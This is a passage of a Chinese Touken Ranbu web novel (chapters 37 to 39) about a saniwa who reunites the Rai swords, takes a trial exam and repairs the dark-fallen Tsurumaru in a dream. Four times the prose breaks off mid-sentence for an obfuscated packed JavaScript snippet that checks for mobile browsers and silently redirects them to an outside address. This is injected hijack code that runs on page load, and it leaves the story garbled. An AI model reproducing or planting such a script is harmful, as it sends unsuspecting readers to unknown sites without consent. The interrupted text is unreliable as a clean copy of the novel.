事到如今也不是藏着掖着的时候,而且明石国行本人不在意,爱染国俊满脑子急着见萤丸,也没有长那根筋,于是无人反对。 清水悠提交了申请,带两人先去与萤丸见一面。走在路上,他忽然出声,语调平缓,带有一丝歉意。 “抱歉,我刚刚说的那些话。” 爱染国俊仰起脸:“怎么了?为什么要道歉?” 清水悠当时说的时候没觉得,冷静下来一想便觉得不太合适,在等待帮助的两人面前因为自己任性的理由拒绝了帮助——尽管在那时只是下意识说出了那样的话,但对于听众来说还是太残忍了些。 明明可以有更好或者更委婉的表达方式,他却没有做到,理应道歉。 大概整理并简略了一下语言对不明所以的爱染国俊解释了之后,清水悠反思着,却注意到短刀露出了更加困惑的表情。 “虽然我确实不太懂那些话的含义……不管想要帮忙的主体对象是谁,最后的结局不都一样吗?”爱染国俊说,“但如果是为了您的拒绝而道歉的话,那就完全没有必要啦,毕竟他问的是您不是吗?怎么选择本来就是是大人自己的事情才对。” 明石国行坠在半步后左右的位置,冷不丁说道:“完全说的是同一件事嘛,国俊。” “诶?!说我吗?是这样吗??” “啊……这算是无心插柳柳成荫吗?” “完全没有听懂你在说什么啊!” 听着两人的对话,清水悠弯唇笑了笑。 通讯器震动一声,是发出的申请得到了回复。可能是因为快到考核时间了,相关的事务处理效率还挺高的,回复发来的地址他还没有去过,站在时空转换器前摸索了好久才谨慎转到正确的时间。 出发之前再三确认,确保不会出错,清水悠才带着两人走了上去。 脚下蓦然发出亮光,在闪光弹一般的光芒中,清水悠扶了扶脑袋,只觉得一阵头晕目眩。 他也不是第一次进行传送,没有哪次像这样难受,感觉血条都被清空一半,也不知究竟是到了哪儿才会造成这样的结果。 抬眼一看,周围也不是预想中的高科技画风建筑,甚至大相径庭。 不会吧,千确认万确认,最后还是搞错地点了吗? 其实还有一个基地其实就在这里的可能性,但清水悠只闪过不到一秒这个念头就被他抛之脑后。 原因无他,周围荒凉、黑暗,空气中充满着不安分的气息,时间是深夜。 关键是,这里一看就有着大量百姓的存在,时政的办公位置绝对不会建立在这种地方,基本可以放心了。 ……不对,到底有什么可放心的。 清水悠默默嘀咕,正思索是不是要回去重新调试一下,又或者先出去转一圈,不远处传来的陌生又熟悉的声音就很快给了他答案。 爱染国俊比他先一步听见:“是萤丸!” 他带头想要跑过去,却在迈步的前一秒被清水悠拦住。后者用灵力加强自己的听觉,听着隐隐约约传过来交谈的声音,无意识皱了皱眉。 听着不像是与同伴的对话…… 这种地方,他在和谁说话? 爱染国俊被他捂住嘴,这些天下来积累出的好感度让他选择配合,没有贸然挣脱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965119|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前进。 这个选择是对的,因为下一秒,明石国行也按住了他的肩膀。 清水悠利用保护措施将自身灵力波动降低到最小,像一团轻柔的云朵,悄无声息飘过去,明石国行推了推爱染国俊,示意他跟上。 太刀不比那些灵活敏锐的刀剑,这种时候,还是派短刀上去进行侦查比较好。 两人缓缓凑近,在确保不会被发现的地方停住了脚步。清水悠眯眼看过去,见到那里有两振刀剑,其中一个的确是萤丸,身上涌动着与爱染国俊相同的灵力,证明他们来自同一个本丸。 至于另外一个…… 清水悠脸上露出几分探究。 那是一振骨喰藤四郎,身上看起来灰扑扑的,有些狼狈,没看见什么伤,灵力波动却很微弱。 他的面色冷淡,不知先前听见萤丸说了什么,意简言赅地摇头:“不。” 萤丸并不恼,看起来他没被那位审神者的事情影响多少,语调依然轻飘飘的没什么起伏:“你的灵力用完了,就会变回本体哦。如果我能找到审神者帮忙,你就可以继续做想做的事情。” “虽然不知道你想做什么……但是是很重要的事情吧?” 这话一出,骨喰藤四郎看起来有几分动摇,但不知想到了什么,最终依然很坚定的摇头:“我不能去。抱歉,帮不上你,你去找别人吧。” “诶……”这一句的尾音比萤丸平时拖得还要长,他看上去有点困扰,“为什么呢,不能告诉我原因吗?” 骨喰藤四郎沉默下来,安静一会儿后,萤丸知道了他的答案。 “好吧,”他说,“不过,我之后如果找到了审神者,还是会来找你的哦。” 骨喰藤四郎看向他,而他笑着说道:“我会偷偷分你一点灵力的。你会在这里吧?” “……”骨喰藤四郎摇摇头,又点点头,“……我可能会去别的地方,但如果你来,我会知道。” 他抿了抿唇,“谢谢。” 萤丸挥了挥手,和他说再见。等到胁差离开以后,爱染国俊眼巴巴抬头看向审神者,等人比了确定的手势,才从藏身之处激动地蹦出来。 “萤丸——!!” 拍了拍衣服正准备也离开的萤丸瞪大了眼看向那道人影,熟悉的声音与呼唤使他停下了躲避的脚步,两个小正太迅速抱在一起,他下意识唤了一声爱染国俊的名字。 “咦,你在这里。不是说……” 余光中出现从和爱染国俊同一个角落中走出来的陌生审神者,他慢慢反应过来,问道:“国行呢?” 清水悠回头去看,发现明石国行为了不被发现,躲得远远的,现在还没注意到这边的情况。 他招了招手:“明石殿!——国行!” 明石国行眨了眨眼看过来。 意识到情况之后,他抬脚走过来,态度不紧不慢,要不是敏锐察觉到太刀身上这几天一直紧绷着的气质在某一瞬间忽然放松下来,清水悠都要以为他一点也不着急。 他在清水悠身边停住脚步,眼底映入许久未见的人影,半晌,懒懒地笑了笑:“看起来,过得还不错?” 回应他的是两个扑向他的身影。 37.第37章 留了足够的时间给来派三振好不容易重逢的刀剑叙旧,清水悠站在一旁无所事事地琢磨着那振骨喰藤四郎的事情,但还没怎么思考,他就皱着眉按了按脑袋。 奇怪,还以为只是对这个地区不适应或者偶发性的穿越副作用……怎么现在还是不太舒服。 头胀痛着,还有不明显的眩晕感。虽说都不算很明显,但多少造成了困扰。 “大人?您怎么了?”爱染国俊第一个注意到他的异常,担忧地望过来。 清水悠愣了一下,由于保护措施的存在,他自忖不会被人看穿,小幅度的动作很少掩盖,之前也如他所想从未有人察觉。怎么现在就……是因为不在本丸吗? 他不知道的是,在另外三人的眼中,属于他的灵力白雾如同火焰般跳动着,明明灭灭,看起来极不正常。 明石国行皱了皱眉,过来伸出手,没有穿过白雾,碰到了清水悠的脑袋。 他顺势试了试温度,很快将手放下,“温度正常。” 清水悠下意识后退一步,听见他说的话,又摇摇头:“不是发烧,发烧了我不会还能站稳。只是稍微有点不适……” 说来也怪,似乎是因为转移了注意力,谈话间那种不适感不再很有存在感地规律跳动,清水悠敲了敲脑袋,决定暂且忽略这个问题:“你们聊完了吗?” “都说好啦!”爱染国俊抢答,“萤丸的队伍已经有一个队友了!五虎退要来的话,我们就只差一个人了。” 个子矮矮的大太刀深深鞠了一躬:“谢谢大人,帮了这么多忙,不知道要怎么感激才好了。国行没有给你添麻烦吧?” 爱染国俊立刻竖起大拇指对准自己:“我有好好照顾他噢!” “喂喂。”明石国行打了个哈欠,“我姑且还是有分寸的嘛。” 清水悠失笑。 他的目光落向某个方向,沉默片刻后没忍住问:“萤丸,刚才那振骨喰…他怎么了?抱歉,如果不能说的话,可以不用告诉我。” 三人停止了莫名其妙开启的话题聊天,萤丸想了想,“就我知道的内容的话,应该没有什么是不能说。” 当然,在大恩人面前,就算不能说,其实也可以悄悄透露一点啦。 萤丸简单叙述了他来到这里的整个过程,简单来说就是,发布任务之后,他们拥有一定的自由活动权限。时政记录下了他们身上的特质用于追踪,出门多久未回归时,就会借此来寻找他们。 而他在解散之后,对于要去哪里寻找队友这一点完全没有头绪,于是随便转了几下罗盘,决定凭运气决定他接下来的行程。 然后他就到这来了,落地时刚好砸晕了一头盯着骨喰藤四郎流口水的狼,两人对视一眼,趁狼没醒之前迅速转移阵地,最终到了这里。 “来之前我其实都没想过能见到别人,”萤丸说道,“遇见他是意外之喜,而且他看起来很需要帮助的样子,我就想与他交换条件。不过,就像你们来时看到的那样,他怎么都不肯同意。” 不同意,也不肯说出理由。那振骨喰藤四郎很明显是一位流浪付丧神,只是不知道是因为什么而流落在外,看他的态度应该是想避开时政,那恐怕是自己想要离开。 “他好像在找什么东西。”萤丸说。 爱染国俊立刻便代入了自己的经历:“噢噢!难道是和我们一样,在找自己的同伴吗?确实啊,他和鲶尾的关系好像很好呢。” 萤丸想了想:“但是,如果是和鲶尾走失了的话,他应该会更有紧迫感一些吧?” 他这么说着,自己反倒还迟疑了,头发两边像小狐狸耳朵一般的反翘程度下降两个像素点,“……这么一说的话,好奇怪。明明能看出他很重视,但又没有特别着急,就像……” 就像,其实并不抱着还能找到的希望,所以害怕看见最终的答案。 这个形容太奇怪了,萤丸很快甩了甩脑袋:“唔嗯、应该是我的错觉吧。” 清水悠又朝胁差消失的方向望去一眼,有点心不在焉地收回视线。 总觉得有点在意。 ……等之后萤丸回来找他的时候,问问能不能一起跟过来看看吧。 组队的进度比预想中要快,据萤丸所说,同一批参与惩罚的人中,他的确是去的最迟的一个,只有一振小狐丸还和他一样单着,就自动结成了队伍。 现在只要成功定下最后两个人选,这件事就不用再操心。至于配队的合理性就没办法了,现在的情况就是凑齐人都很勉强,顾不上那么多。 如果清水悠肯让自己本丸的刀剑们去补位,他们无法违抗审神者的命令,想来当然会去,但这并不是清水悠想要的,想必也不是萤丸想要的。 这个本丸名义上说起来是属于他,实际上,他们依旧只是他们自己。 他们可以为了自己的家、自己的伙伴前往危险的地下城战斗,却不能是因为审神者的私心。 清水悠不会让这种情况出现。 回到本丸,五虎退已经等在了门口,见他们回来,眼睛立刻便亮起想要打招呼,“审、审神者大人!” 接着他才看见了后面跟着的三人,“啊、还有——” 萤丸在回来的路上便听爱染国俊将这些天的事情说了个七七八八,听见声音便探出脑袋,露出一个十分乖巧的笑容:“你好,我叫萤丸。谢谢你愿意帮我呀。” “你、你好!”五虎退立刻道,“不用谢的,本来也是要去的……哦、对了,药研哥哥也同意加入啦,不过他还有点事,要过一会儿才能来。” 这大概是最好的消息。 尽管不明显,但萤丸依旧忍不住松了口气,总算露出一个轻松的笑意。 距离必须回去的时间还有一会儿,他打算先和自家伙伴们去叙叙旧。清水悠没有剥夺来派的居住权,他们依然心照不宣的住在本来的房间。 临走之时,五虎退忽然注意到明石国行走路的姿态好像有些不对:“那个,明石…殿?您的脚、怎么了吗?” 明石国行:“唔?” “……啊啊、这个啊,被某人抓住脚踝扔到了树上去,结果好像轻伤了。虽然大人进行了手入,但似乎还是在隐隐作痛?” “都怪国行明明在聊正事但是躺下了啊。”萤丸露出了半月眼,“而且,在池田屋那种地方,还是不要这么松懈比较好呢。” 明石国行摸了摸后脖颈:“是这样吗?” 看着三人吵吵闹闹地远去,五虎退还在因明石国行那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14975365|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句话瞳孔地震:“扔、扔到了树上……” “别担心,不用管他们。”清水悠转移话题,“说起来,退。药研去做什么了?” - 再一次被拒绝了。 清水悠回到天守阁,坐到书桌前沉思。 若之前还可以说都只是自己的猜测,但这一次亲眼见证在自己提出想要去粟田口找药研时,五虎退躲闪的目光与结结巴巴的语气,就已经基本证明了这里面的确存着问题。 只是,审神者在本丸中的权利很大,尽管不能细致到能够随时看清本丸任何地点的一草一木,大概的情况也能够做到了解。 粟田口在他的认知中没有任何不同,这也是他之前一直没有往这方面去想过的原因。 要去探究吗? 还是尊重他们的想法? 清水悠揉揉眉心,他并不是像是控制欲很强的家长那一类的人,一定要搞清楚孩子的每一个隐私。甚至不如说,除开必须要插手的事情——比如他们的心结,其余事情他都想能不管则不管。 刀剑是被人握在手中使用的,但当他们拥有了人身,他们就可以掌握自己的命运。 就目前看来,粟田口他接触过的刀剑们看起来都很正常,短刀们如今也会出门来玩,在本丸里四处作乱。 这样看来,对他们自己应该是没有影响的……是不是不要去管比较好? 窗外的阳光撒进来,清水悠的目光走神地落在外边。 万叶樱开花了,巨大的樱花树内仿若住有神明,分明是万年才会开一次花的树木,却会在有人祈祷之时绽放笑颜。 现在,有人在祈祷吗? 清水悠呼出一口气,暂且决定搁置这个事情。 现在决定还太早了,算了算时间,他向一期一振提出的那个建议他们最多按耐不住三天就大概能讨论出结果,现在也快到能够得到答案的时候。 到那个时候,再说这件事吧。 通讯器叮咚一声响起,清水悠打开一看,发现是久日发来的消息。 他愣了一下,忽然开始心虚。 在那天加上联系方式之后,这个少年一般的审神者很热情地发来过好几次消息,似乎是真的很珍惜他这个难得出现的考试搭子,一边报自己的学习进度一边向他询问情况。 然而他前两天的确事情接连不断的出现,委实抽不出空,只好一推再推,在昨天晚上才保证,最迟今天,进度条一定会有动静。 结果今天正巧萤丸的事有了结果,一忙之下,又把这件事给忘了。 他伸出食指,戳了戳通讯器屏幕,小心翼翼点进消息栏。 [泉!怎么样怎么样?我记得你说想先写卷子试试,多少分呀?是不是超——难的!] 清水悠:谢谢。还没翻开。 他掐了掐手指,难得撒了一次谎:[还在写。等我写完对完答案,告诉你分数。] 久日依然是秒回:[喔!好呀,那我不打扰你了!] 可恶,感觉良心更痛了。 清水悠叹了口气,认命地翻出那一叠厚厚的试卷,将笔握在手里时习惯性地转了转。 既然这样也就没办法了,至少今天下午,把时间奉献给试卷吧。 38.第38章 “主公。” 压切长谷部端着甜点推开天守阁二楼的门,看见里面的情景,放轻了脚步:“累不累?歇会儿吧,这种事情不是一蹴而就的。” 久日抬头,露出手里的通讯器。 压切长谷部愣了一下,然后松了口气:“太好了,我还以为您还在勉强自己呢。” “没有啦,在和新认识的朋友交流进度呢。”久日在通讯器上打下一行字,然后将它放到一边,“喔!是我最喜欢的苹果派,辛苦你啦长谷部!” 压切长谷部当即摆手:“这是我应该做的!” 他说完这句之后,眼巴巴地望着自家审神者,像是希望对方再说点别的什么。 但久日完全没注意到。 他往嘴里塞了一大口,正要继续看试卷,忽然想起来什么,仰起脸。 在压切长谷部期待的视线中,他含糊地说了一句什么,因为嘴里鼓鼓囊囊的,压切长谷部没听清。 “抱歉,主,您刚说了什么?” 久日把嘴里的食物吞下去,清了清嗓子,疑惑问道:“我记得今天好像是清光的近侍?你怎么来了呀?” 压切长谷部:“……” 压切长谷部:“我担心您频繁用脑,会需要补充糖分,就特意去下了厨。” “噢噢。”久日又问,“那清光呢?” “主人,你叫我?”加州清光从门外探出头来,气都还没喘匀,像是刚刚进行过奔跑。 久日扫他一眼:“你在外面啊!来来,你帮我看看,这道题我凭什么错?” 为什么只叫他不叫自己? 压切长谷部张了张嘴,但还没把话说出口,加州清光就已凑上前去。 “什么什么?我看看……” 他定睛一看,发现那是一道解答题。 问题是,如果接任做了陌生本丸的审神者,第一件事是要做什么。 久日回答要和本丸的大家先认识。 “这难道不对吗?” 久日觉得很冤枉,自动阅卷给他打了一个大大的零分,证明他一点得分点都没踩到。 “不先和大家认识还要干什么,再怎么样也不能说这是错的吧?而且到底是哪个家伙在返世考核卷里夹带私货塞就职注意事项的,太讨厌了!!” 加州清光谨慎地又看了看试卷,虽然他也觉得没错,不过又好像有哪儿有点问题。 以防万一,他先确认了一遍,“主人,你对过答案了吗?” 久日骤然清醒,“喔,还没呢。” 打开答案卷,翻到这道题所对应的位置,三个脑袋齐齐凑在书桌前——就连压切长谷部都不请自来,一字一句读出密密麻麻的答案小字。 “首先在狐之助的引导之下搬进天守阁,并以最快速度将结界打开,确保与该本丸刀剑男士互相了解之前不要离开结界,这个时间最少为十天……” 看完答案,加州清光这下明白了违和感从何而来。 ‘认识’,这个词说着轻巧,却不是全无技巧。 但凡是像他们主人这样的审神者,直接去进行交涉想要打入内部的话,恐怕只会把事情弄得一团糟吧,会不会异变出什么风险也说不定…… 他正想着,就看见久日从左手托腮换到右手托腮,眉毛都快打结,最后到底没忍住。 久日抬手胡乱抓了抓头发,困惑到甚至没注意自己手中的水笔不小心往脸上划了一道。 “不对吧,这个答案没问题吗?我拿错了、翻错页了?还是印刷出错?” 压切长谷部立刻掏出一只手帕,将他脸上的墨痕仔细擦干净。 一边擦,一边温声宽慰自家主公:“在我等看来,这个答案是有一定依据的。主为什么认为它并非正确答案呢?” 久日抓头发的手停住:“依据?” 加州清光抢答:“因为失去主人对我们来说是一件很可怕的事情吧,几乎和失去了半身没有两样。” “这种情况下,会天然对新来的‘想要取代主人’的审神者产生敌意,如果不做好保护措施——至少等大家冷静,可能会出事故呢。” 压切长谷部:“就是这样。” 他满意看着自己擦干净的主公的脸,顺势瞥了一眼答案,在那最后有一个括号,里面写着,以上内容会在审神者进行相关入职之时进行三次提醒。 由于入职时那少得可怜的流程,压切长谷部不用多思考就能推断出,这三次提醒多半是分别来自招聘狐狸、时政,以及本丸的狐之助。 久日皱着脸:“可是、可是……” “——可是泉就完全没有按照这个流程来啊!” - 清水悠不知自己新认识的小伙伴在家里纠结着自己的事情,他依照约定写完一张卷子,评改得出分数之后,拍照发给了久日。 消息很快显示送达,清水悠的视线移到试卷分数上,叹了口气。 19分。 苍天可鉴,他长这么大以来,还是头一回考这么低分。 选择题与解答题的数量五五开,按理说就算多蒙对几道也不至于得出这么低的分数,但是那些选择题全是多选题。 只要没有将正确答案全部选出就不得分,更不用说还出现了好几次清水悠选B答案是ACD的情况。 至于解答题…… 每一道问题下方三行横杠晃得他眼晕,提问更是一个比一个刁钻,拿到答案一看,清水悠甚至觉得有些题是不是在考自己脑筋急转弯。 看来走捷径是行不通了。 好在也有考到过两道他已经看完的部分,根据那两道题可以得出结论是,试卷基本考的就是原书内容,不至于像现实考试那样出现许多变种与文字游戏。 这大概算是现在的唯一一个好消息,虽然清水悠完全高兴不起来。 抱怨归抱怨,进度总要推。趁着今天剩下的时间难得清闲,他押着自己翻了一下午的手册,甚至晚饭都只做了简单的食物,很快啃完又上楼继续,勤奋得令人讶异。 鹤丸国永不知何时起便默默跟在他身边,许是因为他没有出声打扰,清水悠也当他不存在。 夕阳渐渐落山,月亮爬上夜幕。 本丸的景象可以通过审神者的意念直接更改,这在某种意义上便说明了它的虚假。但当人们身处这片天空下,抬头仰望之时,没有人会认为它不真实。 天际线最后的一抹日光消失殆尽,时间彻底转到夜晚。 鹤丸国永靠在门边,遥遥望着天守阁外,视线不知在何处落点。他就这样一直站到星月高悬,才慢慢收回视线。 身后的屋内,清水悠依然在专心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986373|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致志翻看他那本厚重的手册,鹤丸国永没再停留,如他安静地来一样,安静地离开了。 白色衣摆随风飘起,在门口晃了一下,消失于夜色中。清水悠若有所思地抬头看过去一眼,很快重新垂眸,看了看页数。 很好,还差一页,就达到今天的目标了。 那就再看两页吧。 看完就收拾收拾睡觉。 - …… ………… 清水悠猛然坐起来,捂着脑袋蹙起眉,低声喃喃:“……嘶,还有、两页,我有没有……” 话说到这里,他忽然卡了壳。 他在说什么? ——他想说什么? 他下意识往书桌上看去,那里摊开着熟悉的刀账,左厚右薄,看起来已经翻到了头。 “刀账?”清水悠走下床,“怎么会这样放在这里,我看到一半就睡着了吗?那样不应该是趴在桌上才对……” 他朝桌边走去,头也不回地喊:“鹤丸!” 喊了两声,却无人应。 清水悠反而反应了过来,搭在桌边的手指一顿。 鹤丸国永是他在这个本丸所见暗堕气息最严重的一振刀剑。 不管是谁当近侍,恐怕都轮不到他,他的天守阁结界也应该是将这类危险人物抵挡在外的。 他怎么会—— “哟。”窗外传来轻快的嗓音,“叫我做什么?” 清水悠条件反射抬了头。 那样的景象落入眼底,看上去毫无差错,大脑判断安全,心底却诉说着危险。 黑色的鹤降落在窗台,询问的语调一如既往风一般轻盈。 高空在他他背后悬挂一轮巨大血月,不详的暗光并未打在他脸上。清水悠一反常态,像是忘记是自己首先进行呼唤,他用目光描摹着鹤丸国永的眉眼,最后深深落入那双眼中。 金色的、黑暗中依然微微发亮的眼眸,像是夕阳映照的河面,而那上面拢起一层朦胧的红雾。 没有那么明亮的金眸与希望的色彩不再相关联,反而像一道安静、不易发现,却有足够危险性的漩涡,当人们发现之时往往为时已晚,只能被它卷入淹没。 清水悠透过那双眼睛,忽然想起上次向他提出的问题,想起那时自己看见的是什么景象。 浓郁厚重的黑雾比起第一次相见已少了许多,他能勉强看清太刀的脸,却依然看不清具体轮廓。 但他望着那双不甚清晰的眼,脑海中不合时宜想起一抹完美无瑕的金色。 “审神者?” 黑色的鹤歪了歪脑袋,眼底的色彩单纯又粘稠。 房间里的少年没有应他的话。 鹤丸国永甚至觉得,似乎身后的血月都要比自己有存在感。 在他自行纠结是否要将对方唤回注意之时,清水悠慢慢有了动作。 他向前走出一步,将先前被吓到而退开的距离拉近。 接着,他伸出手,在鹤丸国永讶异的目光中,紧紧攥住对方的衣摆,语气比起请求,更像在提条件。 “鹤丸殿,请让我替你手入。” “——拜托了。” 血色天空下,少年黑眸亦染上不详色彩,如同巫师手中受到诅咒的魔镜。 里面倒映着一只黑色的鹤。 39.第39章 突发情况打乱了鹤丸国永来之前的所有考量。 但他从不是循规蹈矩的家伙,带着想看看少年究竟想做什么的心态,他应下了这个请求。 “好呀。”他说。 “但是——” “如果出了什么意外,我可不会负责哦?” 这只是梦境,当然不会出什么意外。 但是鹤丸国永不介意用这一点来吓唬吓唬对方,感兴趣地想看看他是什么反应。 可惜,他得到的反应堪称无趣。 清水悠那双眼眸眨也不眨,闻言安静地点了头,像是只要得到想要的答案就好,之后的话哪怕涉及自身安危也并不重要。 他往后退开一步,给鹤丸国永留下翻窗进来的空间。 窗外光线暗淡,屋内更是昏暗无光。他这一退就退进了阴影中去,黑色的发丝几乎融入黑影,连神色也不再看得清几分。 鹤丸国永顿了一下,跳进来,唇角的笑意不知不觉有所收敛。 “来吧。”他悄无声息地落地,“要从哪儿开始呢?” 房间内只有一把椅子,清水悠没怎么犹豫,便让鹤丸国永去自己的床边坐下。 他自己则将书桌前的椅子搬过来,视线很有目的性地落向他身上的太刀。 答应了就不会再反悔,鹤丸国永毫不犹豫地把本体解下抛给他,看着少年因为误判了太刀的重量而差点没拿稳的动作也半点不觉得心疼,反而饶有兴致地唠起了家常。 “听说,昨天你差点在天守阁里丢了性命?” 那时候他虽然不在,但在后来该知道的也都知道得得差不多了,甚至还在白天闲着没事干的时候去偷偷敲了好几扇门。 都说八卦是人的天性,有人型的刀也不例外。 这位审神者平日里在白天的时候看起来十分正常,甚至精神状态稳定得他们都不得不感慨,因此梦里会是那样的表现就令人意外了。 至于在私谈之后得到的消息,其实也没有多多少,唯有一点,让鹤丸国永很在意。 在源氏兄弟的门前,髭切将膝丸赶去边上玩泥巴,在交谈的结尾,用颇有深意的笑容轻声说道:“真可惜,那位大人要是拥有一个自己的本丸就好了呢。” 话音未落,他又软绵绵地笑了两声,语调温软地道歉:“抱歉呀,说了些没用的话。” “不过,也并不是没有道理吧。叶落枯萎的两棵树,要怎么互相给对方遮风挡雨呢?” 这两句话让鹤丸国永笃定自己错过了什么剧情。 他在梦里和清水悠接触的时间太少,在现实中又天然站在中立位置,不需要清水悠来费心思。 尽管他这样选择有他自己的考量,但当这一刻,发现自己因为自己的选择而与他人进度不对等时,难免起了好奇心。 髭切是内里再冷漠不过的一振刀剑。 是看到了什么,让他说出那样的话呢? “情况很危险呢。”他盯着清水悠的准备动作,不动声色地问道,“害怕吗?” 清水悠没有抬头,甚至连眼神都没给他一个。 他专注于进行自己的事情,像是往外分出一丝精力都欠奉,鹤丸国永等了好一会儿,他才像老旧的电脑,需要半天时间才能处理好一个简单的操作信息,然后给出回复。 “不害怕。”少年语调冷淡,听起来甚至有些事不关己的意味。 鹤丸国永挑了挑眉:“被自己帮助的人狠咬一口,也不觉得后悔吗?” 这次清水悠连话都懒得说,沉默着摇了摇头。 “诶——” 鹤丸国永感兴趣极了,对方越是态度反常、与白日里表现出的形象差别越大,他就越抓心挠肺地想要得到答案。 “为什么会这么想呢?”他托住腮,凑近了少年一点问,“如果没有被救下,当时可能就真的死掉了吧?” 清水悠终于把手上的准备工作整理完毕,抬头看他一眼,像是好不容易分给了他一份注意力。 没等鹤丸国永生出期待,就听见清水悠的声音略带困惑:“你原来是这么唠叨的一振太刀吗?” 他原本想说的其实是话多。 但想了想,最后还是将这个词咽下去,换成了一句更加礼貌的句子。 鹤丸国永:“……” 鹤丸国永:“喂喂,真是犯规啊。哪有你这样聊天的?” 清水悠不觉得他们需要聊天,也不觉得他们现在是能够聊天的关系。 但他习惯性地妥协了,停下手中动作:“好吧,你想聊什么?” 明显是打算完成鹤丸国永的诉求之后再进行自己的事。 鹤丸国永噎了一下。 “……也不需要这么严肃。”他试探着说,“手入的过程很无趣——虽然我还没有经历过——但是要在原地一动不动地坐许久,想想也觉得很没有意思吧?” “所以,只是想打发时间的和你聊聊天而已哦?” 闻言,清水悠沉默片刻,细长的眉轻拧,似乎是在思考。 半晌,少年的声音再次在黑暗的屋内响起,毫不避讳:“你身上暗堕气息很重。” 鹤丸国永挑了挑眉。 “——如果不专心进行修复,”少年抬眼,黑暗中什么也看不见,唯有那双眼眸发着微弱的光,“你会有危险。” “……”鹤丸国永忍不住道,“等一下,你似乎搞错了什么?你只需要修复刀上的裂纹就好,只要不往里触碰,那些暗堕气息就不会失控。” “毕竟,它们已经是我的一部分了哦?” 清水悠低头,轻轻触碰手中的刀。 突如其来的动作让鹤丸国永猝不及防打了个哆嗦。 “看来一期一振没有告诉你。” 他的声音很平淡,像在陈述一个不可违逆的事实。 “我是为了你们来到这里。所以……” “让你们能像原来一样生活,是我唯一要做的事。” …… 鹤丸国永自己都不知道,自己怎么就同意了对方的话。 后来的审神者、包括政府人员,都从未有人知道,在这个所有刀剑付丧神执着初代审神者的本丸,他是唯一一振从未与那人见过的刀。 所以他生来即无主,现世即遇上最为混乱的时期——也正因如此,他毫无忠诚之心,不论对任何人。 刀剑需要持刀者,否则多易丢失目标,找不到自己存在的意义。毕竟刀剑从被锻出来的那一刻起,就是为了‘人’而存在。 但他不一样。 他的经历中,不是在棺材中度过,就是被当做易碎品摆上展台。 无数人喜爱他、不惜手段也要得到他,可带回去之后也只是作为人类收藏或者炫耀的工具—— 他可曾上过战场? 他自己都记不清了。 所以他对自己的境况完全接受良好,没有主人意味着没有束缚,意味着他可以完全执掌自己——刀剑有了人身,为什么还要期待他人的使用呢? 他选择留下来的原因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995979|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许有很多,有同伴的期待、现世时听见的那一句话、有对这个本丸的好奇,但最多的只有那么一点。 他不想认人为主。他想自己看看这个世界的风景。 …… 曾经的确是这么想的。 鹤丸国永撑着下巴,金眸出神地望着黑暗里模糊的人影。 但是现在……他好像,又忽然理解了一点同伴们的想法。 原来如此。 所以太郎太刀才那样期待一个能使用他的主人啊。 有一个审神者,好像也不是什么坏事。 他从善如流地想道。 清水悠不知道他在想什么,尽管鹤丸国永一开始说想要聊天,最后又自顾自沉默下来,他也没有催促的意思。 毕竟想要聊天的又不是他。 不如说,能够专注一心地去做自己的事才是他想要的。 他信手捏出一小团灵力,让它像夜明珠一般漂浮半空。然后像之前一样,深藏刀身中的黑色雾气被他慢慢引诱而出,将灵力聚集与眼睛之上时,能看清太刀内部的情况。 和肉眼所见不同,灵力视角之下,那些雾气呈现一种奇异的色彩。 或许是因为浓度过高,它们盘踞于刀身内部深处,乍一看的确如同已生长入血肉之中,与主人融为一体,不可分割。 但清水悠眼也不眨地看着,动作渐渐慢下来。 不太对。 与其说是共生,不如说是…… 寄生。 那些怪异的能量体严丝合缝地附着其上,几乎叫人看不清内里,清水悠拿着刀,忍不住看了一眼鹤丸国永本人。 对方敏锐地察觉到:“嗯?怎么了吗?” 清水悠摇摇头,复又将视线落到手中太刀之上。 没看错。 那些‘暗堕气息’,几不可查地跳动着,频率令人心中不适,清水悠在确认之后彻底确定,那频率与鹤丸国永心脏跳动的频率完全一致。 